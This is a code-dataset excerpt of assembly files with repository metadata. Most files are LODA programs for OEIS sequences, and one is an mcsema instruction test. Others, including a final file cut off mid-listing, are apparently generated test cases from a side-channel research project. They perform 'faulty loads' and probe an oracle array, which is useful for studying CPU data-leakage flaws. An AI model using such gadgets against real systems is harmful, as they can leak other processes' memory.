hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
82e0e6396c172aae8f13327762a78a50320b690b
389
asm
Assembly
oeis/069/A069052.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/069/A069052.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/069/A069052.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A069052: Denominator of Sum_{i = 1..n} 1/i^5. ; Submitted by Jon Maiga ; 1,32,7776,248832,777600000,259200000,4356374400000,139403980800000,101625502003200000,101625502003200000,16366888723117363200000,16366888723117363200000,6076911214672415134617600000 mov $1,1 lpb $0 mov $2,$0 sub $0,1 add $2,1 pow $2,5 mul $3,$2 add $3,$1 mul $1,$2 lpe gcd $3,$1 div $1,$3 mov $0,$1
21.611111
183
0.719794
f00ff7026b9c886f2ea10fce2fefb7d2aa7813ce
560
asm
Assembly
oeis/182/A182618.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/182/A182618.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/182/A182618.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A182618: Number of new grid points that are covered by the toothpicks added at n-th-stage to the toothpick spiral of A182617. ; Submitted by Jon Maiga ; 6,4,3,3,3,3,2,3,3,2,3,2,3,2,3,2,3,2,2,3,2,3,2,2,3,2,2,3,2,2,3,2,2,3,2,2,2,3,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,2,3 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 trn $0,1 mul $0,3 seq $0,183867 ; a(n) = n + floor(2*sqrt(n)); complement of A184676. add $0,4 mov $2,$3 mul $2,$0 add $4,$2 lpe min $5,1 mul $5,$0 mov $0,$4 sub $0,$5 sub $0,1
23.333333
153
0.582143
78557cbaf55ee61f153d8f469472747bc3b4195c
432
asm
Assembly
programs/oeis/110/A110326.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/110/A110326.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/110/A110326.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A110326: Diagonal sums of triangle A110324. ; 1,-1,-3,-2,-11,-3,-23,-4,-39,-5,-59,-6,-83,-7,-111,-8,-143,-9,-179,-10,-219,-11,-263,-12,-311,-13,-363,-14,-419,-15,-479,-16,-543,-17,-611,-18,-683,-19,-759,-20,-839,-21,-923,-22,-1011,-23,-1103,-24,-1199,-25,-1299,-26,-1403,-27,-1511,-28,-1623,-29,-1739 mov $1,$0 lpb $0,1 sub $0,1 add $1,3 mov $2,$1 mul $1,$0 mod $0,2 add $2,1 lpe mov $1,1 sub $1,$2 div $1,2 add $1,1
25.411765
256
0.548611
78b2832756a7aa8e98ede24c83d7a0ea9110dd8d
444
asm
Assembly
programs/oeis/183/A183856.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/183/A183856.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/183/A183856.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A183856: n+floor(sqrt(3n-2)); complement of A143975. ; 2,4,5,7,8,10,11,12,14,15,16,17,19,20,21,22,24,25,26,27,28,30,31,32,33,34,35,37,38,39,40,41,42,44,45,46,47,48,49,50,52,53,54,55,56,57,58,59,61,62,63,64,65,66,67,68,70,71,72,73,74,75,76,77,78,80,81,82,83,84,85,86,87,88,89,91,92,93,94,95,96,97,98,99,100,102,103,104,105,106 add $0,1 mov $1,$0 mov $2,$0 mul $0,4 sub $2,1 lpb $0 sub $0,1 add $1,1 add $2,3 trn $0,$2 add $0,$1 lpe
27.75
272
0.623874
4c759292a4ea9a2a24d0ba56bbbdc907aa12fc72
254
asm
Assembly
mc-sema/validator/x86_64/tests/IMUL64rri8.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
2
2021-08-07T16:21:29.000Z
2021-11-17T10:58:37.000Z
mc-sema/validator/x86_64/tests/IMUL64rri8.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
mc-sema/validator/x86_64/tests/IMUL64rri8.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS=FLAG_SF|FLAG_ZF|FLAG_AF|FLAG_PF ;TEST_FILE_META_END ; IMUL64rri8 mov ebx, 0x20000 mov ecx, 0x34343434 ;TEST_BEGIN_RECORDING imul ebx, ecx, 0xb ;TEST_END_RECORDING
19.538462
49
0.759843
7f2341c741a8397f5d35258f10f4f8bd631fc2d6
6,721
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_210.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_210.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_210.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0xea7, %rdi nop nop nop nop sub $46918, %rax mov $0x6162636465666768, %r14 movq %r14, %xmm3 vmovups %ymm3, (%rdi) nop nop nop inc %r11 lea addresses_WT_ht+0xfd7, %rbp nop cmp $64518, %rcx movl $0x61626364, (%rbp) nop add $23825, %rdi lea addresses_D_ht+0xd257, %rdi clflush (%rdi) nop nop nop nop nop sub %r14, %r14 mov (%rdi), %rcx add $62268, %rax lea addresses_UC_ht+0xb317, %rsi lea addresses_A_ht+0x1981b, %rdi xor %r14, %r14 mov $81, %rcx rep movsq nop nop nop nop nop xor %rcx, %rcx lea addresses_A_ht+0xa5c7, %r11 nop nop nop nop nop sub %r14, %r14 mov (%r11), %edi nop nop dec %rax lea addresses_UC_ht+0x4557, %rsi nop nop nop nop nop lfence mov (%rsi), %r11d nop nop nop nop xor $25898, %rax lea addresses_WT_ht+0xbb57, %rbp clflush (%rbp) nop nop nop nop xor $3412, %rsi and $0xffffffffffffffc0, %rbp movntdqa (%rbp), %xmm7 vpextrq $0, %xmm7, %r14 nop nop nop nop add %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %rax push %rdi push %rdx // Store lea addresses_RW+0x1fbd7, %rdx nop nop nop nop sub %rdi, %rdi mov $0x5152535455565758, %r10 movq %r10, %xmm2 vmovups %ymm2, (%rdx) cmp %rax, %rax // Load lea addresses_WT+0x5157, %r15 nop nop xor $45152, %r12 mov (%r15), %r10w add %r15, %r15 // Store lea addresses_RW+0x1797a, %rdi cmp %r11, %r11 movl $0x51525354, (%rdi) // Exception!!! nop mov (0), %r10 nop nop nop cmp %rdi, %rdi // Store lea addresses_UC+0x11fb7, %r15 nop cmp %rdx, %rdx mov $0x5152535455565758, %rdi movq %rdi, %xmm4 movups %xmm4, (%r15) nop nop nop nop xor $46975, %rdx // Faulty Load lea addresses_D+0x9857, %rdx clflush (%rdx) nop nop nop nop nop add %r10, %r10 mov (%rdx), %r15w lea oracles, %r11 and $0xff, %r15 shlq $12, %r15 mov (%r11,%r15,1), %r15 pop %rdx pop %rdi pop %rax pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
33.944444
2,999
0.654218
cdbba3523114ec11688c20e1d83c517289e119b1
8,260
asm
Assembly
src/game/dice.asm
danielg0/yatzy-gb
510bb007f4f830750d146894f58868ab5c82b558
[ "MIT" ]
null
null
null
src/game/dice.asm
danielg0/yatzy-gb
510bb007f4f830750d146894f58868ab5c82b558
[ "MIT" ]
null
null
null
src/game/dice.asm
danielg0/yatzy-gb
510bb007f4f830750d146894f58868ab5c82b558
[ "MIT" ]
null
null
null
INCLUDE "hardware.inc" ; MOD(X, r) ; perform a MOD X operation on the value stored in r ; @trashes a MOD: MACRO ld a, \2 .loop\@ sub \1 jr nc, .loop\@ add \1 ; make value in a positive add 1 ; for dice, ensure range is 1 to X ld \2, a ENDM SECTION "Dice Variables", WRAM0 DICE:: DS 5 ; store raw values for all 5 dice so ; they can be drawn to the screen DICE_SUM: DS 1 ; 1 byte with the sum of all the dice DICE_TYPE: DS 1 ; bit-array of dice types present ; 0 = not present, %--654321 DICE_TYPE_SUM: DS 6 ; bytes holding the sum of all dice of ; each type (1, 2, 3, 4, 5, 6) DICE_TYPE_COUNT: DS 6 ; 6 bytes holding the number of dice of ; each type (1, 2, 3, 4, 5, 6) DICE_HELD:: DS 1 ; byte bitmap showing which dice are ; currently held %---54321 ; score variables ; pre-calculated so that there is enough time during vblank for transfer ; values stored in BCD using library ; IMPORTANT: stored in memory in the same order as on screen. This is so that ; the score for the category the cursor is next to is: ; score = [W_DICE_SCORES + (W_CURSOR_POS - 3)] W_DICE_SCORES:: W_SINGLE:: DS 6 ; holds values in bcd (1, 2, 3, 4, 5, 6) W_2_OFAKIND:: DS 1 W_TWOPAIRS:: DS 1 W_3_OFAKIND:: DS 1 W_4_OFAKIND:: DS 1 W_STRAIGHT_LOW:: DS 1 W_STRAIGHT_HI:: DS 1 W_FULLHOUSE:: DS 1 W_CHANCE:: DS 1 W_YATZY:: DS 1 SECTION "Dice", ROM0 ; Initialise zero values for all the dice variables ; @return a 0 ; @return hl DICE_TYPE_COUNT + 6 InitDice:: ; init all values to 0 xor a ; ld a, 0 ; 6 byte DICE variable ld hl, DICE REPT 6 ld [hli], a ENDR ; 1 byte DICE_SUM variable ld hl, DICE_SUM ld [hl], a ; 1 byte DICE_TYPE variable ld hl, DICE_TYPE ld [hl], a ; 6 byte DICE_TYPE_SUM variable ld hl, DICE_TYPE_SUM REPT 6 ld [hli], a ENDR ; 6 byte DICE_TYPE_COUNT variable ld hl, DICE_TYPE_COUNT REPT 6 ld [hli], a ENDR ; 1 byte DICE_HELD variable ld hl, DICE_HELD ld [hl], a ; note: no need to init score variables as written to before reading ret ; Get new values for all dice using rng functions, updating all DICE_ values, ; then update the score variables using the defined score functions RollDice:: ; reset score variables before adding new ones xor a ; ld a, 0 ld hl, DICE_SUM ld [hl], a ld hl, DICE_TYPE ld [hl], a ld hl, DICE_TYPE_SUM REPT 6 ld [hli], a ENDR ld hl, DICE_TYPE_COUNT REPT 6 ld [hli], a ENDR ; NOTE - to get a dice value, mod 6 is used on a random byte. This ; DOES NOT create a uniform probability distribution, leaning toward ; producing 1,2,3 over 4,5,6 by a small amount (1/255 I think). ; This should probably be replaced in future ; generate dices rolls for the five dice if the corresponding bit of ; DICE_HELD isn't set I_DIE SET 0 REPT 5 ; check if held bit set for this die ld a, [DICE_HELD] bit I_DIE, a jr nz, .dont_roll_\@ ; if held bit set use existing value ; else, roll dice and get new value call rand ; load random 16bit value into bc ; but we'll only use c ld c, a ; use value returned into a ; as entropy is better MOD 6, c ; perform modulus to get a value ; between 1 and 6 ; update DICE variable ld hl, DICE + I_DIE ld [hl], c jr .update_score_\@ .dont_roll_\@ ; load existing dice value into c, which is used by UpdateDice ld a, [DICE + I_DIE] ld c, a .update_score_\@ call UpdateDice ; update score values I_DIE SET I_DIE + 1 ENDR ; update score variables ; singles ; as DICE_TYPE_SUM already holds required value, just convert ; essentially, this is memcpy with a call to convert bcd in the middle ld c, 6 ld de, DICE_TYPE_SUM ld hl, W_SINGLE .straightLoop ld a, [de] call bcd8bit_baa ld [hli], a inc de dec c jr nz, .straightLoop ; chance ; again, as is held in DICE_SUM, just copy after conversion ld a, [DICE_SUM] call bcd8bit_baa ld [W_CHANCE], a ; straights ld b, %00011111 call Straight call bcd8bit_baa ld [W_STRAIGHT_LOW], a ld b, %00111110 call Straight call bcd8bit_baa ld [W_STRAIGHT_HI], a ; yatzy call Yatzy call bcd8bit_baa ld [W_YATZY], a ; two pairs and full house call TwoPairs call bcd8bit_baa ld [W_TWOPAIRS], a call FullHouse call bcd8bit_baa ld [W_FULLHOUSE], a ; of a kinds ld b, 2 call OfAKind call bcd8bit_baa ld [W_2_OFAKIND], a ld b, 3 call OfAKind call bcd8bit_baa ld [W_3_OFAKIND], a ld b, 4 call OfAKind call bcd8bit_baa ld [W_4_OFAKIND], a ret ; Update variable values for a new dice roll ; @param c - new dice roll ; @return c - new dice roll ; @return de - DICE_TYPE_COUNT - DICE_TYPE_SUM ; @return hl - DICE_TYPE_COUNT + c ; @trashes a ; @trashes b UpdateDice: ; add to dice sum ld a, c ld hl, DICE_SUM add [hl] ld [hl], a ; create bit mask for this dice roll ld a, c ld b, %00000001 .shiftStart dec a jr z, .shiftEnd sla b jr .shiftStart .shiftEnd ; or bitmask with current dice type to get new dice type ld hl, DICE_TYPE ld a, [hl] or b ld [hl], a ; have de hold a 16bit value of the dice ; important: decrement as byte array starts at 0 ld e, c ld d, 0 dec de ; update dice type sum and count ld hl, DICE_TYPE_SUM add hl, de ld a, [hl] add c ld [hl], a ld de, DICE_TYPE_COUNT - DICE_TYPE_SUM add hl, de inc [hl] ret ; Calculate the score for a straight ; @param b required DICE_TYPE bit pattern ; @return a score Straight:: ; able to make a straight comparison as only 5 dice ld a, [DICE_TYPE] cp b jr nz, .fail ld a, [DICE_SUM] ; for straights, score is sum of dice ret .fail xor a ; ld a, 0 ret ; Calculate score for a single number ; @param a the dice number to calculate the score for ; @return a the score ; @return b 0 ; @return c dice number ; @return hl DICE_TYPE_SUM + bc Single:: ld hl, DICE_TYPE_SUM ld b, $00 ld c, a dec bc ; make sure to decrement bc as ; DICE_TYPE_SUM is zero-indexed add hl, bc ld a, [hl] ret ; Calculate yatzy score ; @return a score Yatzy:: ; logical right shift til a 1 is found ld a, [DICE_TYPE] .shiftStart bit 0, a jr nz, .shiftEnd srl a jr .shiftStart .shiftEnd ; perform a final right shift then compare a with 0 ; if it matches, all 5 dice are the same number srl a jr nz, .noYatzy ld a, 50 ; score for a yatzy is 50 ret .noYatzy xor a ; ld a, 0 ret ; Calculate a chance score. Just place [DICE_SUM] in a ; @return a score Chance:: ld a, [DICE_SUM] ret ; Calculate score for pair of pairs TwoPairs:: ld b, 0 ; keep track of distinct doubles ld hl, DICE_TYPE_COUNT + 5 ; loop over 6 dice from last one ld d, 6 ; keep track of current dice ld c, 0 ; keep track of score .loop ld a, [hld] cp 2 jr c, .notDouble ; if a < 2, not a double inc b ld a, c ; add 2*(current dice) to score add d add d ld c, a .notDouble dec d jr nz, .loop ld a, b ; check for presence of two doubles cp 2 jr c, .noScore ; if b < 2, score is 0 ld a, c ; else c holds final score ret .noScore xor a ; ld a, 0 ret ; Calculate full house score FullHouse:: ld b, 0 ; keeps track of doubles ld c, 0 ; keeps track of triples ld hl, DICE_TYPE_COUNT + 5 ; loop from end of DICE_TYPE_COUNT array ld d, 6 ; loop over all 6 dice values, ; incrementing b and c as needed .loop ld a, [hld] cp 2 jr nz, .notDouble inc b .notDouble cp 3 jr nz, .notTriple inc c .notTriple dec d jr nz, .loop ; for a full house, there must be a single double and single triple ; by and-ing both b and c, we'll get 1 if and only if this is the case ld a, b and c cp %00000001 jr nz, .noFullHouse ld a, [DICE_SUM] ; if full house present, score is sum ; of all dice ret .noFullHouse xor a ; score zero otherwise ret ; Calculate the score for "Of A Kind" scores ; @param b number of dice required to score ; @return a score OfAKind:: ld hl, DICE_TYPE_COUNT + 5 ; start at end to get highest score ld d, 6 ; repeat max 6 times for dice values ; find first dice value with a count greater than b .countLoop ld a, [hld] cp b jr nc, .countEnd ; if a >= b break dec d jr nz, .countLoop ; if d > 0 return xor a ; ld a, 0 ret .countEnd ; after the above, d contains the highest value with a double ; score is d * b xor a ; ld a, 0 .scoreLoop add d dec b jr nz, .scoreLoop ret
20.146341
77
0.680266
14818d7a7358dba6a01e885eb6471725ebaff308
520
asm
Assembly
oeis/189/A189405.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/189/A189405.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/189/A189405.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A189405: n+[ns/r]+[nt/r]; r=1, s=-1+sqrt(3), t=1+sqrt(3). ; Submitted by Jamie Morken(s3) ; 3,8,13,16,21,26,31,34,39,44,49,52,57,62,65,70,75,80,83,88,93,98,101,106,111,116,119,124,129,132,137,142,147,150,155,160,165,168,173,178,183,186,191,196,199,204,209,214,217,222,227,232,235,240,245,248,253,258,263,266,271,276,281,284,289,294,299,302,307,312,315,320,325,330,333,338,343,348,351,356,361,366,369 mov $2,$0 seq $2,22838 ; Beatty sequence for sqrt(3); complement of A054406. add $2,22 add $0,$2 add $0,$2 sub $0,43
47.272727
309
0.684615
b0f140c39e375dea4274cc8d1beadd593297fd18
836
asm
Assembly
oeis/142/A142440.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142440.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142440.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142440: Primes congruent to 31 mod 49. ; Submitted by Simon Strandgaard ; 31,227,521,619,1109,1697,2089,2383,2579,2677,2971,3167,3461,3559,3853,4049,4441,4637,4931,5323,5519,5813,6793,7283,7577,8263,8753,9341,9439,9733,9929,10223,10321,10909,11399,11497,11987,12281,12379,12967,13163,13457,13751,14143,14437,14633,14731,15319,15809,15907,16103,16691,17377,17573,18553,18749,19141,20023,20219,20611,20807,21101,21493,21787,22277,22571,22669,22963,23159,23747,24923,25609,25903,26099,26393,26687,26981,27961,28549,28843,29137,29333,29921,30313,30509,30803,31391,31489,32077 mov $1,15 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,49 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,97
34.833333
499
0.732057
0f94f77a0cac9e569bf2de4d07bfa14995ca94dc
8,239
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1145.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1145.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1145.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x6c0b, %r13 clflush (%r13) nop nop nop nop nop xor $49913, %rdx movb (%r13), %r10b nop nop nop nop nop xor %r14, %r14 lea addresses_WC_ht+0xcbcb, %r14 nop dec %r13 mov $0x6162636465666768, %r9 movq %r9, %xmm5 movups %xmm5, (%r14) sub $65079, %r14 lea addresses_D_ht+0x1902b, %rsi lea addresses_WT_ht+0x1c12b, %rdi nop nop nop nop nop xor $29726, %rdx mov $77, %rcx rep movsl nop nop nop nop and $10884, %r14 lea addresses_WT_ht+0x1ab6b, %rdx nop sub $5415, %rsi movb (%rdx), %cl nop nop sub $23206, %rdx lea addresses_D_ht+0x14ab, %r9 nop inc %rdi movb (%r9), %r13b nop nop nop and $45667, %rdi lea addresses_WC_ht+0x4d09, %r14 nop nop cmp $57063, %rdx vmovups (%r14), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rdi dec %r14 lea addresses_normal_ht+0x1a153, %rsi lea addresses_UC_ht+0x1e4ab, %rdi nop nop xor %r9, %r9 mov $122, %rcx rep movsw nop nop nop and $46977, %rdi lea addresses_WC_ht+0x1d355, %r10 cmp $28987, %rdi mov (%r10), %r9 nop nop nop nop and $50488, %rdx lea addresses_UC_ht+0x166fb, %rsi nop add $58516, %rdi mov $0x6162636465666768, %rdx movq %rdx, %xmm5 and $0xffffffffffffffc0, %rsi movntdq %xmm5, (%rsi) 